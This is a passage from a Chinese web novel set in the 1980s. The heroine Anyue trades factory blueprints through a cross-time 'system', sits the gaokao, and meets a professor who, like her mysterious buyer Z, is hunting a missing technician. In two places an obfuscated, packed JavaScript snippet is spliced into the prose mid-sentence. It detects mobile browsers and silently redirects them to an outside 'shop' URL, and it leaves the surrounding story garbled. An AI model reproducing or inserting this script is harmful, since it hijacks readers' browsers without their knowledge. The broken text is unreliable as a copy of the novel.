李干事走上前,随手翻了几卷图纸,又看了看那些技术手册,点点头:“嗯,这些都是纺织厂的老资料吧?这样,我挑一些代表性强的,回头跟站里汇报一下,给你个公允价。” 他挑得很快,专挑那些看起来最规整的图纸和手册,大约选了二十来份。最后,他的目光落在安玥还没来得及收起的几本工人笔记上。 “这些是……”他拿起来翻了两页。 “哦,这是当时工人的工作笔记,记点生产数据什么的。”她尽量语气平常,“估计没啥用,我准备当废纸处理的。” 李干事又看了几眼,里面密密麻麻的数字和潦草的字迹显然让他头疼。他放下笔记:“嗯,这些确实价值不大。你就按废品处理吧。” 安玥暗暗松了口气。 最后,李干事把挑好的图纸文件归拢到一边:“这些我先带走,回头给你信儿。价格估计也就十几二十块,你也别抱太高期望,文化站经费有限。” “哎,好,谢谢李干事。”安玥连连道谢。 送走王主任和李干事,安玥关上门,后背靠在门板上。 文化站插一手未必是坏事。至少以后她再倒腾这些东西,有个看似官方的意味。而且李干事挑走的都是些价值相对普通的,真正的好货都还在她手里。 她先把要卖废品的拉去废品站,换了四块多钱。回来时,在巷口小卖部买了包水果糖,路过赵婶家时,抓了一把塞给正在门口玩泥巴的赵家小孙子。 “哟,安玥,这怎么好意思!”赵婶闻声出来。 “婶子,昨天多谢您家小军帮忙。一点糖,给孩子尝尝。”安玥笑得乖巧。 赵婶接过糖,脸上笑开了花:“哎哟,你这孩子,客气啥!以后有啥事,还找小军!” 安玥笑着应了。人情往来,有时候比钱好使。 回到院子,她把门闩好。先处理那批图纸。 除了那张“星-改-3”,剩下的她按系统评估的价值高低,分成三批。高价值的十几张,她仔细包装,添加专业描述,准备上架系统拍卖,目标客户是“机械考古学会”这类机构。 中价值的,她打算分批在系统里零售走量。低价值的留着,万一文化站还要,或者以后需要打点人情。 至于那张“星-改-3”……她再次拿出来,对着光仔细看。 图纸本身技术内容并不复杂,甚至有些简陋。 她打开系统,先看了一眼公共频道。那条悬赏还在,并且有了新回复。 匿名用户的悬赏者在下面补充:“酬金可议。如有确切线索,可预付款。强调:必须确保实物安全,来源保密。” 预付?安全?保密? 这味儿越来越不对了。 安玥关掉公共频道,点开Z的私信窗口。昨晚交易完成后,Z只发了一条“资料收到,整理得不错”,便没再说话。 她犹豫了几分钟,手指在虚拟键盘上敲下一行字,删掉,又敲,再删。 最后她发了这样一条:“Z先生,在整理图纸时,我发现了一张比较特殊的标记,您见识广博,不知是否对这类图纸感兴趣?” 信息发出去后,安玥起身去烧水,准备擦洗一下。忙了一上午,身上又是汗又是灰。 水还没烧开,系统提示音就响了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“感谢Z先生的提醒。我一向清楚,生意就是生意,知道什么该碰,什么该放。至于安全……我自有分寸。” 安玥白了一眼对话框。心想着:都不在一个时空,我有什么可怕的? 她又追加一句:“我想,作为合作伙伴,我们或许需要更透明的信息共享,才能更好地规避风险,您说呢?” 不等Z回复,她率先结束了话题:“十八万纪元币,我接受您的附加条件。图纸我会立刻打包传送。” “成交。” 交易完成,十六万二的纪元币入账。 安玥把图纸仔细扫描,传送。 钱赚到了,但心里的疑团更大了。Z,还有那个悬赏者,到底在找什么?老纺织厂配件分厂的仓库里,还有没有别的线索? 安玥揉了揉眉心。 得加快步伐。不能只靠倒卖旧货赚纪元币续命。她需要在现实世界里用这些华币和纪元币,做点什么生意。 正想着,院门外又传来脚步声,这次很轻,停在门口,似乎在犹豫要不要敲门。 安玥警觉地站起身过去,摸过门边的顶门杠,走到门后,压低声音问:“谁?” 门外安静了几秒,一个有些迟疑的年轻男声响起: “请问是安玥同志家吗?我是从省城来的,想跟你打听点事。” 省城来的?安玥眉头紧锁。她不认识省城的人。 “什么事?”她没有开门。 “是关于一些旧图纸的事。我听说,你这里可能有一些老资料?” 12. 第 12 章 安玥站在门后,手指紧紧握着顶门杠。 省城来的人?找旧图纸? 她脑子里瞬间闪过好几个念头。 “我这儿没什么图纸。”她隔着门板回道,“您找错人了。” 门外沉默了几秒,那年轻男声再次响起,语气里多了点急切:“同志,您别误会。我不是坏人,我是省城师范大学历史系的学生,我叫周明远。我们系里在做地方工业口述史的项目,听说您收了些老厂子的资料,想看看有没有能用作研究素材的……” 安玥稍微放松了一点,但没完全放下戒备。她透过门缝往外瞄了一眼。 门外站着个二十出头的年轻人,穿着中山装,背着一个军绿色挎包,一脸书卷气。 看起来确实像个学生。 “您怎么找到这儿来的?”安玥没开门。 “我去街道办打听说您这儿可能有资料。”周明远从挎包里掏出个笔记本,“您看,我这儿有学校的介绍信。” 他从门缝里塞进来一张折好的纸。安玥接过来展开。 确实是省城师范大学的抬头,盖着历史系的章,内容写着该系学生周明远在进行社会实践,需收集地方工业史料云云。 章是真的,纸也是真的。 安玥犹豫了一下,把顶门杠放下,拉开了门。 周明远看到她,明显愣了一下。大概是没想到收废品的是个这么年轻的姑娘。但他很快调整表情,“安玥同志是吧?打扰您了。” “进来说吧。”安玥侧身让他进来,随手又把门闩上了。 周明远走进院子,目光立刻被那堆还没整理完的图纸文件吸引。他快步走过去,蹲下翻看起来。 “这些都是老资料?太好了!您看这张装配图,还有这本生产日志,天啊,这上面的数据……” 他一边翻一边念念有词,完全进入了研究状态。 安玥抱着手臂站在一旁观察。这人看样子不是装的。但这也意味着麻烦。要是他刨根问底起来,她不好应付。 “周同学,”她打断了他的喃喃自语,“您具体需要什么样的资料?” 周明远抬起头,扶了扶眼镜:“啊,是这样。我们项目主要收集工厂生产技术的第一手资料。”他指了指那堆工人笔记,“像这些就特别有价值!” 安玥的眉头皱了皱,那批笔记昨晚刚卖给Z,这会儿系统里大概正在传送呢。 “这些笔记……”她斟酌着措辞,“已经有人订了。” “订了?”周明远一脸失望,“是图书馆还是博物馆?能不能让我抄录一部分?我们项目可以出借阅费……” “不是公家。”安玥摇头,“是私人。” “私人?”周明远更惊讶了,“谁会收藏这种东西?”他忽然想到什么,压低声音,“安玥同志,您是不是……遇到走私贩子了?我跟您说,有些港商专门收这种带文字的老物件,一转手卖到海外能翻几十倍!您可别被骗了!” 安玥差点笑出来。港商?海外?这位同学想象力挺丰富。 “您放心,我有数。”她岔开话题,“除了笔记,别的图纸文件您需要吗?我可以便宜点卖给您。” 周明远眼睛又亮了:“要!只要是有研究价值的都要!不过……”他脸忽然红了红,声音低下去,“我们项目经费有限,系里只批了五十块钱……” 五十块。 安玥心里快速盘算。这批图纸她原本计划在系统里分批卖,总价至少能到八万纪元币以上,折合现实币也有八百块左右。五十块连十分之一都不到。 但眼前的周明远是正规大学的学生,有介绍信,有项目。跟他交易,能给她的营生披上一层更正式的外衣——看,连省城大学都来买我的资料,说明我这工作有价值。 而且,跟学术界搭上线,也许以后能有更多机会。 “五十块太低了。”安玥做出为难的样子,“我收这些也花了成本,还得挑拣整理……” “我明白我明白!”周明远赶紧说,“这样,我回学校跟导师再申请一下,看能不能加到八十!另外,如果您能帮忙联系到还在世的老工人做口述访谈,我们项目还能付访谈费,一次五块钱!” 访谈?五块钱一次? 安玥心里一动。这倒是个新思路。 “行。”她点头,“我先给您挑一批资料,您带回去给导师看看。如果觉得有价值,咱们再谈价格和访谈的事。” “太好了!谢谢您安玥同志!”周明远激动得直搓手。 安玥花了半小时,从剩下的图纸里挑出二十来份价值中等的,既不至于太普通让周明远觉得没价值,也不至于太好让自己亏太多。又找了几本内容不涉及敏感信息的技术手册。 “这些您先看看。”她把资料捆好,“钱的事不急,您下次来再说。” 周明远如获至宝,小心翼翼地把资料装进挎包,又掏出笔记本记下安玥的地址:“安玥同志,我一周内肯定再来!您一定帮我留着其他资料!” 送走周明远,安玥关上门,靠在门板上吐了口气。 大学生、项目、口述史……这些东西离她原本设想的倒卖旧货发大财的路子越来越远了。 但她隐隐觉得,这或许是条更稳妥的路。 接下来的几天,安玥白天继续背着背篓走街串巷收废品,偶尔去老纺织厂附近转转,看能不能再捡点漏。 邻居们看她天天早出晚归,灰头土脸,渐渐也就习惯了安玥那丫头在收破烂这件事。 晚上,她整理资料,在系统里分批上架那些高价值的图纸,零零散散又进账了几万纪元币。跟Z的交流维持在生意层面,对方没再提“星火”或地理位置的事,她也乐得装傻。 文化站的李干事来过一次,给了她二十五块钱,买走了第二批资料。钱不多,但开了张正规收据,上面盖着文化站的章。 安玥把收据仔细收好,这是护身符。 周明远如约在一周后回来了,带着九十块钱。他说导师看了资料后很满意,特批了经费。 他还带来了一个好消息:系里同意聘请安玥作为项目的“地方联络员”,每月有十五块钱的津贴,负责在当地收集资料、联系访谈对象。 “虽然钱不多,但这是正规聘用,有文件的!”周明远兴奋地拿出一纸聘书。 安玥接过那张盖着红章的纸,心里五味杂陈。 一个月十五块,一年一百八。在这个年代,对于一个没工作的孤女来说,算是一笔稳定的收入了。 但这离她的目标差得太远了。 她需要的是第一桶金,是能让她摆脱这个破房子、摆脱收废品这个行当、真正站稳脚跟的资本。 系统里的纪元币倒是越攒越多,已经突破三十万了。但这些钱不能直接变出现实中的产业,兑换成华币的汇率又太坑。 她需要一个体面、合法、能让她合理使用那一千多块华币的途径。 就在她琢磨这事儿的时候,王主任又上门了。 这次王主任脸色不太好,进门就叹了口气:“安玥,有件事得跟你说。” “您说。” “孙二狗那个案子,派出所查出来,他还有同伙在外头。”王主任压低声音,“虽然那几个暂时不敢轻举妄动,但你一个姑娘家住这儿,总归不安全。街道商量了一下,想给你换个住处。” “换哪儿?” “厂里有几间集体宿舍空出来了,都是女工住的,人多安全。”王主任看着她,“不过住集体宿舍有规矩,晚上要查房,不能随便进出,也不能堆太多私人物品。” 安玥立刻明白了。集体宿舍等于被监管。她那堆图纸资料,还有以后可能收到的货都没地方放。 “王主任,谢谢您的好意。”她摇头,“我还是想住这儿。这是我爸妈留下的房子。” “你这孩子怎么这么倔!”王主任急了,“安全重要还是房子重要?” “都重要。”安玥轻声说,“而且我现在有工作了,省城大学聘我当联络员,每月有津贴。我要是搬去宿舍,这工作就不好做了。” 她拿出周明远给的那张聘书。 王主任接过一看,脸色缓和了些:“省城大学?真的假的?” “真的,您看这章。”安玥指着落款处的红印,“所以您别担心我,我能照顾好自己。” 王主任盯着聘书看了好一会儿,终于叹了口气:“行吧,你有正经工作,我也放心点。不过安全措施一定要做好,门窗锁好,晚上早点回来。” “哎,我知道。” 送走王主任,安玥叹了口气。收废品这条路走不通了——太扎眼,太危险,利润也不够高。现在连街道都要她搬家,再这么下去,迟早要出事。 她需要转型。 正想着,系统提示音突然响了,是一条系统公告: 【检测到用户连续交易稳定,信用评级提升。解锁新功能:小额时空物资定制兑换(限科技水平适配物品)。】 安玥眼睛一亮,点开新功能说明。 简单说,她现在可以花费纪元币,让系统定制一些符合80年代科技水平的物品或资料。 价格不菲,但至少多了条路。 安玥脑子里忽然冒出个念头。 她点开定制界面,输入需求:定制当下全国统一高考复习资料全套,要求内容准确、符合当前印刷水平。 系统评估了几秒,跳出价格:【需消耗15000纪元币。是否确认?】 一万五纪元币,按坑爹汇率折合150块华币。而在现实里,一套正规的高考复习资料,她未必买得到。 更重要的是,有了复习资料她就可以名正言顺地准备高考了。 安玥一咬牙:“确认。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048190|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【定制成功。物品将于24小时内以合理方式抵达。】 第二天,安玥收到了一张新华书店的提货单。上面写着“内部学习资料一批”,盖着书店的章。 她去了书店,工作人员核对单子后,从库里搬出一个沉甸甸的纸箱。里面是厚厚的复习资料,纸张是这年代常见的粗糙纸张,印刷油墨味很浓,封面印着“高考复习指南”的字样,没有任何出版社信息,一看就是内部流通的那种。 完美。 安玥把资料搬回家,摊在炕上。 翻开数学册,里面从高一到高三的知识点梳理得清清楚楚。 有这个,再加上她前世名牌大学的知识底子,考个大学应该不成问题。 更重要的是——大学生在这个年代含金量很高。考上大学,她就能名正言顺地离开这里,去省城,甚至去更大的城市。那些华币、那些纪元币,就有了更合理的用途。 而且大学有图书馆,有实验室,有各种资源。她可以继续做“资料收集”的工作,但层次和圈子就完全不一样了。 就这么定了。 收废品是权宜之计,高考才是正道。 至于Z,至于那些图纸,至于未来的交易……都可以在大学里继续,而且会更安全、更隐蔽。 当天晚上,安玥给周明远写了封信,说自己在准备高考,以后可能没那么多时间帮忙收集资料,但如果有需要,她可以推荐其他联系人。 周明远回信很快,表示理解,还说他姐姐在中学当老师,要给她寄一些省城重点中学的模拟卷。 安玥收下了这份善意。 接下来的一周,她上午依然出门收废品,下午去区图书馆。那里安静,有桌子,还能借到一些参考书。 她办了借书证埋头做题。数学是强项,物理化学捡起来也快,政治需要背,语文靠积累,英语……她这个四级六级都过了的人应付起来绰绰有余。 唯一的难点是,她得控制分数——不能考太高引人怀疑,但也要确保能上线。 时间在书页翻动中飞快流逝。 五月底,系统里的防护Buff还剩最后三天时,安玥又续了十天。账户纪元币还剩二十多万,足够撑到高考结束。 六月初,街道通知高考报名。安玥拿着户口本和街道证明去办了手续,报考理科。 王主任知道她要高考,特意跑来鼓励:“好孩子有志气!考上了街道给你发奖励!” 安玥笑着说好。 六月中旬,周明远真的寄来了一叠模拟卷。安玥做了,估分在按去年的分数线,够上省重点了。 她把分数控制在三百八到四百之间,这样比较稳妥。 六月底,发生了一件小事。 那天安玥从图书馆回来,发现院门锁有被撬过的痕迹,但没撬开——她换了把更结实的锁。 她没声张,只是去派出所报了案,说可能又有小偷盯上她家。民警来看了看,登记了一下,说会加强巡逻。 安玥知道,孙二狗的同伙还没死心。 她得尽快离开这里。 七月,高考前最后一天。安玥没再看书,她把屋子收拾了一遍,该藏的东西藏好,该处理的东西处理掉。 傍晚,她坐在院子里吃面条,隔壁收音机里传来歌声,歌声软软的,飘过院墙。 安玥忽然想起前世,想起那个加班到猝死的夜晚,想起电脑屏幕刺眼的白光。 这一世,她不会那么憋屈地死去了。 第二天,安玥早早起床,穿上干净的衣服,检查了准考证和文具,出门走向考点。 阳光很好,街上都是赶考的学生和送考的家长。安玥一个人走着,脚步轻快。 考场设在区中学。她找到自己的座位,坐下,等发卷。 铃响,试卷传下来。 安玥拿起笔,在第一行写下自己的名字。 …… 高考考场里,安玥答完最后一科,提前交卷走出教室。 她看到校门口树荫下站着个熟悉的身影——是周明远,手里举着根冰棍,朝她挥手。 “你怎么来了?”安玥走过去。 “我姐在这监考,我顺路过来看看。”周明远把冰棍递给她,“考得怎么样?” “还行。”安玥接过冰棍咬了一口,“应该能上。” “那就好。”周明远看着安玥,“安玥同志,有件事……考完试你有空吗?我导师想见见你。” “见我?为什么?” “关于那些图纸,”周明远神色有点古怪,“导师说,里面有张图,可能牵扯到一些旧事。” 系统提示音在安玥脑中响起:【VIP客户Z发来新消息:关于“星-改-3”图纸,有新的发现需要与你核对。】 安玥咬着冰棍,看着校门外熙熙攘攘的人群,忽然觉得嘴里的甜味有点复杂。 13. 第 13 章 周明远导师要见她,因为图纸里的“旧事”,这么巧就刚好系统里Z的消息也同时跳出来,指向同一张图纸? 这有点太过于巧合了。 “你导师姓?”安玥尽量让自己的声音听起来只是好奇。 “姓秦,秦树海教授,是我们系里专门研究近现代工业史的专家。”周明远推了推眼镜,语气带着崇敬,“秦老师看了那些资料,特别对里面几张手绘的改良图感兴趣,说那些思路很超前,不像当时厂里常规的技术路径。” 安玥想起那张“星-改-3”图纸。 “秦老师有没有说具体是哪几张图?”她装作随意地问。 “他没细说,就是让我务必请你过去一趟。”周明远挠挠头,“安玥同志,你看你什么时候方便?秦老师这两天正好在省城开会,后天就回首都了。” 安玥捕捉到这个关键词,秦教授是首都来的学者。 “我……我刚考完试,想休息两天。”她斟酌着说,“而且去省城得坐长途车,我还没出过远门呢。” 这是实话,也是推脱。她需要时间搞清楚状况。 “这个你放心!”周明远赶紧说,“秦老师说了,来回车费和住宿他负责报销。你要是同意,明天早上就有班车,我陪你一起去,当天就能回来!” 话说到这份上,再推脱就显得可疑了。 安玥咬掉最后一口冰棍,木棍扔进旁边的垃圾桶:“行,那就明天。不过我得先回家收拾一下,跟王主任打个招呼。” “好嘞!明天早上七点,我在汽车站等你!”周明远高兴地说。 回家的路上,安玥走得很慢,她的脑子里乱糟糟的。 秦教授、Z、星火图纸、旧事……这些碎片像拼图,但她手里没有完整的图样。 更让她在意的是Z的新消息。她找了个僻静角落,点开系统。 Z的私信很简短:“打扰一下,你是否了解当年绘制这张图纸的技术人员背景?” 安玥盯着这行字,脑子里飞快转动。Z在试探什么?核实技术细节可以理解,但问人员背景…… 一个未来人,关心80年代一个普通技术员干什么? 除非这个人不普通。 她想起图纸上那个“总工批:慎”的批示。总工是谁?那个画图的技术员又是谁? 安玥没有立刻回复Z。 回到家,她先把明天要出门的事跟隔壁赵婶说了。赵婶一听她要跟省城大学生去见教授,眼睛瞪得老大:“哎哟!我们家安玥出息了!教授都找你!” “就是问问资料的事。”安玥含糊道。 “那也得去!好好跟人家教授说,说不定以后还能帮衬你!”赵婶热情地从自家菜园摘了两根黄瓜塞给她,“路上吃!” 安玥道了谢,回屋开始准备。她换了身最体面的衣服,又从炕洞里数出所有的钱贴身放好,以防万一。 最后,她翻出之前收资料时留下的几份复印件——都是些无关紧要的内容,但可以应付一下场面。 做完这些,天已经黑了。她坐在炕沿上,终于点开系统回复Z。 “Z先生,图纸我已按要求销毁副本,无法核对具体细节。关于技术人员背景,我只知道这些资料来自城南老纺织厂配件分厂,具体人员信息不详。不过,如果您需要,我可以尝试查询一下。” 消息发出去,她等了一会儿,没有回复。 也许Z那边也是深夜,或者他在斟酌。 安玥躺下,却睡不着。 她想起前世熬夜加班的那些夜晚,想起电脑屏幕的冷光,想起心脏抽痛的感觉。 然后她叹口气,至少现在可比猝死在工位上有意思多了。 第二天一大早,安玥背着个小布包到了汽车站。周明远已经等在门口,手里拿着两张车票。 “安玥同志!这边!”他招手。 长途车是那种老式的大巴,座椅破旧。车上人不少,大多是去省城办事的农民和工人。 安玥靠窗坐下,周明远坐在她旁边。车子发动,颠簸着驶出县城。 “秦教授人怎么样?”安玥问。 “特别严谨!”周明远立刻来了精神,“做学问一丝不苟,对学生要求也严。但他从来不摆架子,特别愿意听我们年轻人说话。” “他研究工业史……具体研究什么方向?” “主要是技术引进和自主创新。”周明远推了推眼镜,“秦老师有个观点,说我们很多技术发展史被简化了,其实有很多民间智慧、一线工人的小革新,虽然没有被正式记录,但对实际生产影响很大。” 安玥心里一动,这倒能解释为什么秦教授会对那些工人笔记和改良图感兴趣。 “那他怎么从首都跑来省城了?” “来开个学术会议,顺便搜集点地方史料。”周明远说,“其实秦老师祖籍就是咱们省的,年轻时还在咱们这儿的工厂实习过呢。” 车子颠了一下,安玥的头撞在窗玻璃上。她揉了揉额头,继续问:“秦教授今年多大年纪?” “五十出头吧?具体我也不清楚,但头发都白了一半了。” 五十出头,八十年代初,那他就是三十年代生人。如果年轻时在本地工厂实习过…… 安玥脑子里突然冒出个大胆的猜想。但她立刻压了下去——太离谱了。 车子开了三个多小时,终于驶进省城。八十年代的省城比县城热闹得多。沿街的楼房大多是三四层的灰砖建筑,墙上刷着标语。 师范大学在城西,车子停在校门口时已经快中午了。 周明远领着安玥走进校园。校园里绿树成荫,有学生抱着书本匆匆走过,广播里放着音乐。 “秦老师在招待所,这边。”周明远带着她拐进一栋红砖小楼。 招待所的房间里,一个头发花白、戴着黑框眼镜的老者正伏案写着什么。听到敲门声,他抬起头。 “秦老师,安玥同志来了。”周明远说。 秦树海站起身。他个子不高,身形清瘦。 “安玥同志,你好。”他伸出手,“辛苦你跑一趟。” 安玥跟他握手。 “秦教授好,不辛苦。”她尽量表现得像个腼腆的乡下姑娘。 秦教授示意她坐下,周明远倒了杯水放在她面前。 “小周,你先去吃饭吧,我跟安玥同志单独聊聊。”秦教授说。 周明远愣了一下,但很快点头:“好的老师。”他退出去,带上了门。 房间里只剩下两个人。秦教授从桌上拿起一沓资料——正是安玥卖给周明远的那批。 “这些资料,都是你收来的?”秦教授开门见山。 “是的。”安玥点头,“厂里清仓库,我按废纸价收的。” “废纸价……”秦教授喃喃重复,手指抚过一页图纸的边缘,“这些可不是废纸。” 他抬头看安玥:“你知道这些图纸的价值吗?” 安玥内心警醒,但脸上露出茫然:“就是些旧图纸……周同学说你们做研究用。” 秦教授盯着她看了几秒,忽然笑了:“你不用紧张。我不是来追究你什么的。相反,我很感谢你,这些资料填补了我研究中的一些空白。” 他抽出其中一张图——正是那张“星-改-3”的简化版,没有批示,但思路类似。 “这张图,你还有更多相关的吗?” 安玥摇头:“就这一张。” “那你收资料的时候,有没有听厂里老人提起过,几十年前厂里有没有过什么……特别的技术项目?或者有没有哪个技术员,想法特别超前,但后来没消息了?” 安玥想起Z也问过技术人员背景。 “我没听说过。”她老实说,“我就是个收废品的,跟厂里老师傅搭不上话。” 秦教授点点头,似乎并不意外。他摘下眼镜,揉了揉眉心。 “安玥同志,我跟你直说吧。”他重新戴上眼镜,眼神变得深沉,“我在找一个叫林知远的人。他应该是之前在纺织厂配件分厂工作过,可能是个技术员,也可能只是普通工人。这个人在技术上有一些非常超前的想法。” 林知远。 安玥默默记下这个名字。 “秦教授,您找他……是有什么要紧事吗?”她小心翼翼地问。 秦教授沉默了一会儿,才缓缓开口:“算是个人恩怨,也是历史遗憾。当年因为一些原因,他的很多想法没能实现,人后来也失踪了。我这些年一直在找他的下落,或者说,找他留下的痕迹。” 他指了指那些图纸:“这些图里的一些思路,很像他的风格。所以我推测,他可能在这个厂待过。” 安玥脑子里飞快转动。林知远、星火图纸、超前思路、失踪……这些要素串起来,听起来像某个被埋没的技术天才的故事。 但Z为什么也感兴趣?一个未来人居然会关心几十年前失踪的技术员。 除非林知远留下的东西,在未来还有价值。 “秦教授,”安玥试探着问,“如果……我是说如果,有人对这类图纸特别感兴趣,愿意出高价收购,您觉得是为什么?” 秦教授猛地抬头:“有人要买?谁?” “我只是瞎猜。”安玥赶紧说,“毕竟您都说这些图纸有价值……” 秦教授盯着她良久,才缓缓说:“如果有人要买,那可能是两拨人。一拨是想研究技术脉络的学者,比如我。另一拨……” 他顿了顿,声音压低:“可能是想找什么东西。” “找什么?” “我不知道。”秦教授摇头,“但林知远当年除了技术图纸,还痴迷于一些理论推演。他留下过一些笔记,里面有很多在当时看来天方夜谭的设想。那些笔记后来都遗失了。” 安玥忽然想到什么:“秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051793|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教授,您说的林知远,他是不是对自动化、对计算机之类的感兴趣?” 秦教授一怔:“你怎么知道?” 猜中了。 安玥手心冒汗。八十年代初,普通工人谁会懂计算机?除非这个人有远超时代的眼光。 “我瞎猜的。”她说,“您说他想法超前,我就想到这些新词……” 秦教授没再追问,但眼神里的探究更深了。 两人又聊了一会儿,秦教授问了些收资料的具体细节,安玥半真半假地回答。最后,秦教授从抽屉里拿出一个信封。 “这是一点资料费,还有你的路费。”他把信封推过来,“另外,如果你以后收到类似的资料,或者打听到林知远的任何消息,请一定告诉我。这是我的联系方式。” 信封很厚。安玥捏了捏,估计有一百多块。 “这太多了……” “应该的。”秦教授摆摆手,“这些资料的价值远不止这些。” 安玥收下信封,起身告辞。秦教授送她到门口,忽然说:“安玥同志,你是个聪明人。聪明人有时候会看到不该看的东西……我的建议是,看到了也装没看到,这样最安全。” 这话说得意味深长。 安玥点头:“我明白,谢谢秦教授。” 走出招待所,周明远等在楼下。两人一起去食堂吃了午饭,然后赶下午的班车回县城。 回去的路上,安玥一直看着窗外。田野、村庄、电线杆在眼前掠过,但她脑子里全是秦教授的话。 林知远,失踪的技术员,超前的设想。 还有Z。 车子快到县城时,系统提示音忽然响了。 Z的新消息。 “你提到可以帮忙打听技术人员背景?如果可以,请重点打听一个可能叫林知远的人,报酬丰厚。” 安玥盯着这行字,手指微微发抖。 Z也在找林知远。 这家伙到底在追查什么?一个几十年前失踪的技术员,在未来还能掀起什么波澜? 班车驶进汽车站。安玥跟周明远道别,独自往家走。 夕阳西下,巷子里飘起炊烟。赵婶在门口择菜,看见她回来,大声问:“安玥!见到教授啦?说啥了?” “就问了些资料的事。”安玥笑笑,“教授人挺好的。” “那就好!晚上来婶子家吃饭!炖了豆角!” 安玥应了一声,走进自家院子。关上门,背靠在门板上,长长吐了口气。 她掏出秦教授给的信封,数了数——整整一百五十块。加上之前攒的,她现在手里有将近一千三百块华币了。 钱是有了,但麻烦也来了。 Z和秦教授,两个不同时空的人,都在找同一个失踪的技术员,而她被夹在了中间。 安玥倒了杯白开水喝,喝完水她清醒了些。 她打开系统,回复Z。 “Z先生,我会尽力打听。不过这类陈年旧事可能需要时间,而且不一定有结果。” 消息发出去,她想了想,又加了一句:“另外,您之前提到星火项目——我最近偶然听到一些传闻,说当年这个项目可能涉及一些未公开的技术设想。不知您对这方面是否了解?” 她在试探。试探Z知道多少,也在试探他会不会透露更多信息。 等回复的间隙,安玥开始收拾行李。高考成绩还要一个月才出来,但她得提前做准备。如果真考上大学,九月初就要开学。 她需要置办些东西:被褥、脸盆、暖水瓶、还有几件像样的衣服。这些都要花钱,但正好可以把她手里那笔钱慢慢洗出来。 正想着,系统提示音又响了。 Z的回复。 “关于星火项目的技术设想,我所知也有限。但如果你在寻找过程中,发现任何线索请务必告诉我。” “至于报酬,你开价。” 安玥盯着最后四个字忍不住笑起来,手指在虚拟键盘上敲击:“Z先生,寻人寻物这种事,就像大海捞针。如果我真能找到线索,报酬自然不会低。但在此之前,我们还是维持现有合作模式比较好——您需要什么,我尽量找,按物论价。” 她才不会傻到接这种没上限的委托。万一真找到什么不得了的东西,她一个收废品的怎么解释来源? 不如继续装傻,做她的专业旧货贩子。 Z的回复很快:“可以。保持联系。” 对话结束。 安玥关掉系统,坐在炕沿上发呆。 窗外的天完全黑了,邻居家的收音机又在放歌。 她忽然觉得,自己一边体验着八十年代的生活,柴米油盐,高考大学;另一边是跨越时空的系统交易,秘密图纸,失踪技术员。 安玥躺下,闭上眼睛。 管他呢。先睡一觉,明天的事明天再说。 反正她这辈子本来就赚了。 14. 第 14 章 高考结束后的日子,突然就慢了下来。 安玥依旧每天早起,但不用再往图书馆跑了。她恢复了收废品的营生,只是节奏放慢了许多。上午转转,下午就在家整理那些还没处理完的图纸资料。 系统里的纪元币停在三十万出头,足够买好几个月的防护Buff。现实中的华币,她数了又数,一千三百七十五块六毛二。这数目放在这个年代,够一个普通家庭舒舒服服过两三年。 但她不敢大手大脚。只在必要时才去副食店割半斤肉,或者买几个鸡蛋。衣服还是那几件旧衣和鞋子。 邻居们看她考完试又背起背篓,议论纷纷。 “安玥那丫头,考完试还收破烂呢?” “怕是考不上吧?要能考上大学,谁还干这个?” “也是,一个女孩子家,能认几个字就不错了……” 这些话飘进耳朵里,安玥只当没听见。她心里有数,模拟卷的成绩在那儿摆着,只要不出意外,上线是板上钉钉的事。 她现在琢磨的是另一件事,怎么把手里这一千多块钱,合理地变成大学生活的启动资金。 直接拿出来用肯定不行。一个孤女,收几个月废品能攒下这么多?说出去谁信。 得有个由头。 这天下午,安玥正在院子里晾晒前几天收回来的旧书。有些书只是封面破了,内页完好,晒晒去去霉味,说不定能卖给旧书摊。 院门被敲响了。 “安玥同志在家吗?”是个陌生的男声,带着点公事公办的腔调。 安玥擦了把手去开门。门外站着两个穿中山装的男人,一个四十来岁,一个年轻些,手里都拎着公文包。 “你们是……” “我们是县教育局的。”年长的那个掏出工作证,“你是安玥同志吧?我们来核实一下你的高考报名信息。” 安玥心里一紧,面上却露出恰到好处的紧张:“是我。出什么事了吗?” “别紧张,就是例行复核。”两人进了院子,目光扫过晾晒的旧书和角落里还没处理完的图纸,“你一个人住?” “嗯,父母都不在了。”安玥低声说。 年轻的那个在本子上记着什么。年长的又问了些家庭情况、学习经历,最后话题转到经济来源上。 “你备考期间,生活费用是怎么解决的?” “收废品。”安玥指了指背篓,“街道给开的证明,王主任可以作证。” 两人对视一眼。年长的点点头:“自力更生,不错。不过……”他顿了顿,“我们接到反映,说你最近经济状况有些异常,又是修墙又是买肉买鸡蛋的。收废品能挣这么多?” 安玥心里冷笑,面上却红了眼圈:“领导,我修墙的钱,是把我爸妈留下的。买肉买鸡蛋……那是高考前,我想着补补脑子,就那一次!”她声音带了哭腔,“我一个孤女,没爹没妈,就想靠读书挣条出路,怎么就这么难呢……” 她演技到位,瘦瘦小小的身子微微发抖,看着确实可怜。 年长的男人语气缓和了些:“你别激动,我们就是核实情况。毕竟高考是大事,要保证公平公正。”他环顾四周,“你这些旧书旧纸的,能挣多少钱?” 